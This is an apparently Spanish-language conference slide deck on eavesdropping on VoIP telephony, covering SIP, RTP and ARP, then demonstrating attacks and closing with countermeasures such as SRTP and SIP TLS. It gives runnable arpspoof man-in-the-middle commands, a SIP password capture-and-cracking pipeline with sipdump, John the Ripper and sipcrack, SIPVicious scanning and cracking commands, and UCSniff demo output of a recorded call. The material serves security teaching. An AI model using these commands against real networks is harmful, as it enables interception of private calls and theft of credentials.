DISCLAIMER

Todo el contenido de esta charla es resultado de investigación con

fines didácticos y educativos. El autor no se hace responsable por el

uso del conocimiento contenido en la siguiente presentación. La

información contenida debe ser utilizada únicamente para fines éticos

y con la debida autorización.

Todo descubrimiento realizado, ha sido y será usado de forma legal.

La audiencia debe asumir todo lo que se exponga hoy, como “falso” y

“sin fundamento” hasta que lo compruebe personalmente. Limahack

no es el autor directo de ninguno de los descubrimientos expuestos,

ni de las herramientas demostradas, ni los conoce.

Todas las opiniones vertidas durante esta presentación son

exclusivas del expositor, Limahack no es responsable de ninguna de

las opiniones vertidas.

Ing. Nils Alvarez Huamán

Chuponeando

Plataformas de Telefonía IP

Eavesdropping Wiretapping

Menú

• Plataformas de Telefonía IP

• Vectores de ataque a plataformas VoIP

• Descubriendo dispositivos VoIP

• Analizando los Protocolos involucrados

SIP | RTP | ARP

• Huecos de seguridad en las infraestructuras de VoIP

• Demostración y Recomendaciones

Plataformas de

Telefonía IP

Mal diseño de la

Plataforma de

Telefonía IP

Comunicaciones

Unificadas

Las compañías buscan

mayores funcionalidades

Beneficios de la VoIP

Reducción de costos de cableado

VoIP, Data, Video, sobre una misma infraestructura de RED

Reducción de gastos en comunicaciones (LDN y LDI)

Independencia de los Operadores de telefonía

Funcionalidades avanzadas

Fax PDF

Buzón de Voz

Sala de Conferencias

Mensajería Instantánea

¿Y la Seguridad?

Vectores de Ataque a

Plataformas VoIP

Huecos de seguridad en la arquitectura.

Información Gathering, Footprinting and Enumeración

Recuperación de información técnica de los teléfonos IP

VLAN Hopping

Wiretapping

Spoofing Caller ID

Atacking Authentication

Denial of Service / Flooding

Protocolos Involucrados

•SIP Señalización

•RTP Media

•ARP Resolución de Direcciones

Protocolo de Inicio de Sesión

Desarrollado por el IETF / RFC 3261

Estándar para iniciar, modificar y finalizar sesiones interactivas: voz, video, IM, Juegos en línea

Parecido a HTTP y SMTP

Analizando el Protocolo

SIP

User Agent (UA)

UAC: Genera peticiones SIP y recibe respuestas

UAS: Genera respuesta a las peticiones SIP

Ambos se encuentran en todos los agentes de usuario

Servidores SIP

Proxy Server:Retransmiten solicitudes

Register Server: Acepta peticiones de registro

Redirect Server: Genera respuestas de redirección

Componentes de SIP

User Agent Cliente (UAC) User Agent Servidor (UAS)

User Agent Cliente (UAC) Las solicitudes (métodos)

User Agent Servidor (UAS) Las respuestas (código de estado)

Mensajes SIP

Método SIP

REGISTER: Registrar al User Agent.

INVITE: Permite invitar un usuario para participar en una sesión

ACK: Confirma el establecimiento de una sesión.

OPTION: Solicita información sobre las capacidades de un servidor.

BYE: Indica la terminación de una sesión.

CANCEL: Cancela una petición pendiente

Respuestas SIP

1xx - Mensajes provisionales.

2xx - Respuestas de éxito.

3xx - Respuestas de redirección.

4xx - Respuestas de fallo de método.

5xx - Respuestas de fallos de servidor.

6xx - Respuestas de fallos globales.

180 Ring

200 Ok

302 Moved Temp

401 No authenticate

503 Service Unavailable

603 Rechazado

SIP: Proceso de Registro

SIP: Proceso de Registro

SIP utiliza HTTP Digest como mecanismo de autenticación - Sencillo - Eficiente - Inseguro

SIP: Establecer una sesión

Real Time Protocol (RTP)

Es el encargado de transportar audio y video en tiempo real

Utiliza UDP como protocolo de transporte

Hace uso de numero de secuencia, marcas de tiempo, envió de

paquetes sin retransmisión

RTP se integra con el protocolo SIP gracias al protocolo SDP

RTP no esta encriptado por default Entonces podemos hacer wiretapping

ARP

Se utiliza para asociar una capa 3 (capa de red) dirección (tal como una dirección IP)

con una capa 2 (capa de enlace de datos) dirección (dirección MAC).

Para ello se envía un paquete (ARP request) a la dirección de difusión de la red

(broadcast (MAC = FF FF FF FF FF FF)) que contiene la dirección IP por la que se

pregunta, y se espera a que esa máquina (u otra) responda (ARP reply) con la

dirección Ethernet que le corresponde

ARP

ARP

ARP

ARP Spoofing

• Engañar a ambos dispositivos, haciéndoles creer que somos el otro, y luego reenviando los paquetes

Antes de un MitM

Ataque MitM

#arpspoof -i eth0 -t 192.168.1.100 192.168.1.17 #arpspoof -i eth0 -t 192.168.1.17 192.168.1.100

Eavesdropping

• Con un previo ataque Man-In-The-Middle, el atacante consigue ver toda la información

– Señalización

– Flujo de Media

• Se compromete la privacidad del usuario

• Análisis de tráfico

El ataque mas temido e impactante

Capturar y crackear contraseñas SIP

1.- Usando SIPdump empezamos a capturar trafico SIP

#cd /root/hack/SIPcrack-0.3pre/

#./sipdump -i eth0 capturaSIP.pcap

2.- Usamos John The Ripper para aplicar fuerza bruta para descifrar contraseñas.

#cd /root/hack/john-1.7.5/run/

# ./john --incremental=alpha --stdout=4 > /root/hack/SIPcrack-0.3pre/myfifosip

3.- SIP Crack

# cd /root/apps/SIPcrack-0.3pre/

#./ sipcrack -w myfifosip capturaSIP.pcap

EAVESDROPPING

VoIPHopper, Saltarnos la VLAN Voz

ettercap, para hacer ataque arp poisoning

wireshark, para sniffear la red y reconstruir la trama RTP

Técnicas para realizar eavesdropping

#arpspoof -i eth0 -t 192.168.1.100 192.168.1.17

#arpspoof -i eth0 -t 192.168.1.17 192.168.1.100

ARPSpoof + Wireshark = Eavesdropping

Scaneo | Enumeración | crackeo de contraseñas

SIPVicious

Conjunto de herramientas de seguridad en VoIP

Svmap (escaneador SIP)

Svwar (enumerador de extensiones)

Svcrack (crackeador de contraseñas)

Uso:

- svmap.py 192.168.0.0/24

- svwar.py -e1000-1999 192.168.0.100

- svcrack.py -u1001 -d dictionary.txt 192.168.0.100

EAVESDROPPING

Técnicas para realizar eavesdropping

Voice VLAN Discovery and VLAN Hop support ARP Poisoning engine / MitM Automatically links VoIP signaling with RTP media Automatically re-constructs forward and reverse media into single file IP Video Sniffer support

Y tiene que funcionar!!!

DEMO

¿Algún Voluntario?

Voluntario 1

MitM Learning Mode

UCSniff 3.20 starting

Listening on eth0... (Ethernet)

eth0 -> 66:66:66:66:66:66 192.168.0.101 255.255.255.0

Randomizing 255 hosts for scanning...

* |==================================================>| 100.00 %

5 hosts added to the hosts list...

5 hosts saved to arpsaver.txt

ARP poisoning victims:

GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)

mitm/ec_arp_poisoning.c:132 - arp_poisoning_start starting arp_poisoner thread

Starting Unified sniffing...

Warning: Please ensure that you hit 'q' when you are finished with this program.

Warning: 'q' re-ARPs the victims. Failure to do so before program exit will result in a DoS.

ucsniff -i eth0 // //

Wiretapping

Mapped new target entry: (IP: 192.168.0.10) --> extension 1001 and name:

Mapped new target entry: (IP: 192.168.0.19) --> extension 1002 and name:

SIP Call in progress. (extension 1001, ip 192.168.0.10) calling (extension 1002, ip 192.168.0.19)

1001-Calling-1002-23-7-28-1-both.wav

1001-Calling-1002-23-7-28-1-forward.wav

1001-Calling-1002-23-7-28-1.pcap

1001-Calling-1002-23-7-28-1-reverse.wav

arpsaver.txt

calldetail.log

call.log

sipdump.pcap

sip.log

skinny.log

targets.txt

mplayer 1001-Calling-1002-23-7-28-1-both.wav

UCSniff GUI

VoIP Hopping

Acceso no autorizado a una VLAN dentro de una infraestructura de VoIP

RED

Voice VLAN VLAN ID:50

Data VLAN VLAN ID:80

• Voice Vlan pueden ser fáciles de descubrir

Solo tenemos que buscar las información del paquete CDP

Utilizar herramientas de sniffer

VoIPHooper

Buscar información desde el teléfono

Descubriendo dispositivos VoIP Vlan discovery

VoIP Hopper

Es una herramienta para testear la seguridad de una infraestructura de VoIP

Es un protocolo utilizado para comunicar a los teléfonos IP que VLAN ID

necesitan para utilizar en el 802.1Q

Cisco Discovery Protocol

(CDP)

Contramedidas

CONTRAMEDIDAS

• ArpON Securitizar ARP para mitigar ataques de tipo Man In The Middle

• SIP TLS Cifrado de señalización, mecanismo fuerte de autenticaci{on

• SRTP Cifrado, autenticación, Integridad

• VLAN’s Separar la Voz y los datos

• Restricción de acceso Filtrado por MAC, Filtrado por puerto 802.x, QoS

• Desactiva el menú de configuración del teléfono IP

• Desactivar el acceso web en los teléfonos IP

• Sistema IDS/IDP

Nils Alvarez Huamán

@nalvarhu

http://nalvarhu.blogspot.com

GRACIAS!

Referencias

• http://www.securitybydefault.com

• http://saghul.net/blog/

• http://voiphopper.sourceforge.net/

• http://ucsniff.sourceforge.net/

• Todas las imágenes son propiedad de sus respectivos autores.